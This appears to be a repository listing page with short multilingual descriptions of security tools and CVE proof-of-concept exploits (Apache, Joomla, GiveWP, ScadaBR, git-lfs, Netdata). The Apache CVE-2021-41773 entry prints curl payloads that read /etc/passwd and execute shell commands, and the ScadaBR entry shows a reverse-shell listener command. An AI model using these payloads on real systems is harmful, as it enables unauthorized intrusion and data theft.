cloudsplaining

Cloudsplaining Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report. Example report Documentation For full documentation, please visit the project on ReadTheDocs. Installation Cheatsheet Example report...

OWASP-WSTG-Rag

OWASP WSTG RAG 一种检索增强生成（RAG）系统，它将OWASP Web安全测试指南（WSTG） 索引到向量数据库中，通过REST API和MCP（模型上下文协议）提供即时访问，并支持Claude Code集成。 特性 完整的WSTG覆盖 - 所有12个WSTG测试类别均已索引并支持搜索 语义搜索 - 使用自然语言查询查找相关测试方法 MCP集成 - 直接集成Claude Code，实现AI辅助渗透测试 REST API - 提供HTTP端点用于程序化访问 WSTG ID查询 - 通过WSTG标识符（例如 WSTG-INPV-05）检索完整测试用例 WSTG类别 类别|...

CVE-2026-48909

CVE-2026-48909 — SP LMS PHP对象注入 → RCE 未认证远程代码执行 —— 通过JoomShaper SP LMS comsplms ≤ 4.1.3 for Joomla CMS中的PHP对象注入实现。 作者： Amin İsayev / Proxima Cyber Security 概述 SP LMS 是JoomShaper开发的一款流行的Joomla学习管理系统扩展，拥有超过10万次安装。版本≤ 4.1.3将 lmsOrders cookie 直接传递给 unserialize...

CVE-2024-32019-Netdata-ndsudo-Privilege-Escalation-PoC

CVE-2024-32019 Netdata ndsudo 権限昇格 PoC 概要 CVE-2024-32019 は、Netdata の SUID ヘルパー ndsudo におけるローカル権限昇格の脆弱性で、信頼されていない検索パス（PATH ハイジャック）を介して、ローカルユーザーが任意のプログラムを root として実行できるようにします。 問題は、ndsudo がコマンド名を制限するものの、呼び出し元の PATH を使用して解決するため、ユーザーが悪意のあるバイナリを PATH の先頭に配置し、ndsudo に root 権限で実行させることができるという点にあります。...

metame

metame metame is a simple metamorphic code engine for arbitrary executables. From Wikipedia: Metamorphic code is code that when run outputs a logically equivalent version of its own code under some interpretation. This is used by computer viruses to avoid the pattern recognition of anti-virus...

metame

metame metame（メタミー）は、任意の実行ファイル向けのシンプルなメタモルフィックコードエンジンです。 Wikipediaより： メタモルフィックコードとは、実行時に特定の解釈の下で自身のコードと論理的に等価なバージョンを出力するコードのことです。 これはコンピュータウイルスがアンチウイルスソフトウェアのパターン認識を回避するために使用されます。 metameの実装は次のように動作します： 1. 指定されたバイナリを開き、コードを解析する 2. 論理とサイズが等価な命令をランダムに置き換える 3. 元のバイナリをコピーしてパッチを適用し、変異したバリアントを生成する...

masta-cve-2026-48907

MASTA CVE-2026-48907 扫描器 单文件、自包含扫描器，用于 Joomla! JCE Editor 作者：Hussein Mohamed masta ghimau !CAUTION 🚨 免责声明 — 使用前请阅读 这是一款侵入式安全测试工具。 THIS TOOL IS FOR AUTHORIZED SECURITY ASSESSMENTS ONLY. Scanning systems you do NOT own or have WRITTEN PERMISSION to test is ILLEGAL in most jurisdictions. The author...

givewp-cve-2026-82222-rce-lab

CVE-2026-82222 — GiveWP 仅标记 RCE 验证实验室 用于在隔离的 Docker 实验室中复现和验证 CVE-2026-82222 的安全研究材料。 如需直接 RCE PoC 和 URL 扫描，请使用CVE-2026-8222-RCE.py 结论 状态：在所提供的实验室中已验证 GiveWP 4.16.5.1 允许最初未经身份验证的攻击者持久化一个 PHP 对象图，通过 GiveWP 会话处理将其复活，并以 WordPress Web 服务器用户身份 执行一个固定的标记命令。 测试阳性结果： GiveWP: 4.16.5.1 WordPress: 6.6.2 PHP...

CVE-2021-26828_ScadaBR_RCE

POC CVE-2021-26828ScadaBR远程代码执行 ScadaBR 0.9.1 on Linux 以及 1.0 和 1.12.4CE on Windows 允许远程认证用户通过 'viewedit.shtm' 上传并执行任意 JSP 文件，实现远程代码执行。 漏洞利用 命令： Windows: $ sudo python WinScadaRCE.py Linux: 首先在你的本地机器上打开任意端口，再执行漏洞利用： $ sudo nc -vnlp 4444 $ sudo python LinScadaRCE.py 参考：...

CVE-2020-27955-LFS

Git-lfs リモートコード実行 RCE エクスプロイト CVE-2020-27955 .bat / powershell 版 脆弱なアプリケーション: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken など Dawid Golunski によって発見されました https://legalhackers.com https://exploitbox.io Windows 上でテスト済み: git, GitHub CLI gh, GitHub Desktop,...

CVE-2020-8165

CVE-2020-8165 Ruby on Rails 仅供教育目的使用。 详情请参阅参考。 环境 Ruby: 2.6.3 Rails: 5.2.3 运行 $ git clone https://github.com/masahiro331/CVE-2020-8165.git $ bundle install --path vendor/bundle $ bundle exec rails db:migrate $ bundle exec rails s use redis $ docker run -d -p 6379:6379 redis 漏洞利用 $ bundle exec rai...

CVE-2022-26809-RCE

CVE-2022-26809-RCE CVE-2022-26809-RCE https://satoshidisk.com/pay/CFGspB...

katana

Katana 一个针对2016年至2019年间发布的高通设备的BootROM漏洞利用工具。 漏洞简要说明...

vulnerable-mcp-servers-lab

脆弱なMCPサーバーラボ このリポジトリには、Model Context Protocol MCP サーバー（ローカルおよびリモート）の意図的に脆弱な 実装が含まれています。各サーバーは独自のフォルダに配置され、動作内容 、実行方法 、脆弱性の実証/攻撃方法 の詳細を記載した専用の README.md が含まれています。 制御されたラボ環境以外では実行しないでください。 このリポジトリの目的 セキュリティトレーニング/研究 : 一般的なMCPサーバーおよびツール統合の障害モードに対するもの。 ハンズオンデモ :...

CVE-2021-32708

CVE-2021-32708 Las versiones afectadas de este paquete son vulnerables a una condición de carrera. La normalización de espacios en blanco utilizada en las versiones 1.x y 2.x elimina cualquier espacio en blanco Unicode. Bajo ciertas condiciones específicas, esto podría permitir que un usuario...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- これは、CVE-2018-19422 のエクスプロイトを編集したもので、私が遭遇した小さな厄介な問題を修正しています。 CTFでこのエクスプロイトを使用する必要があったのですが、正しく動作させることができず、ログインに失敗し続けました。長い時間をかけてようやく原因がわかりました。それはURL引数の問題でした。URLを指定すると、プログラムは自動的に末尾が / で終わると想定していましたが、私はそうしていませんでした。 私が行っていたこと： http://example.com 正しい方法：...

struts2-rce

CVE-2017-5638 のエクスプロイトデモ 完全に https://github.com/piesecurity/apache-struts2-CVE-2017-5638 に基づいています 使用方法: 前提条件: python、docker、maven、jdk がインストールされていること 1. このリポジトリをクローンする 2. プロジェクトルートで mvn clean package を実行する 3. docker build -t hack . を実行する 4. docker run -d -p 8080:8080 hack を実行する 5...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 における Path Traversal の脆弱性 RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh フォローする Vulnmachines YouTube Twitter Facebook Linked...

pwndrop

pwndrop is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV. If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of python -m...

codeql

CodeQL This open source repository contains the standard CodeQL libraries and queries that power GitHub Advanced Security and the other application security products that GitHub makes available to its customers worldwide. How do I learn CodeQL and run queries? There is extensive documentation abo...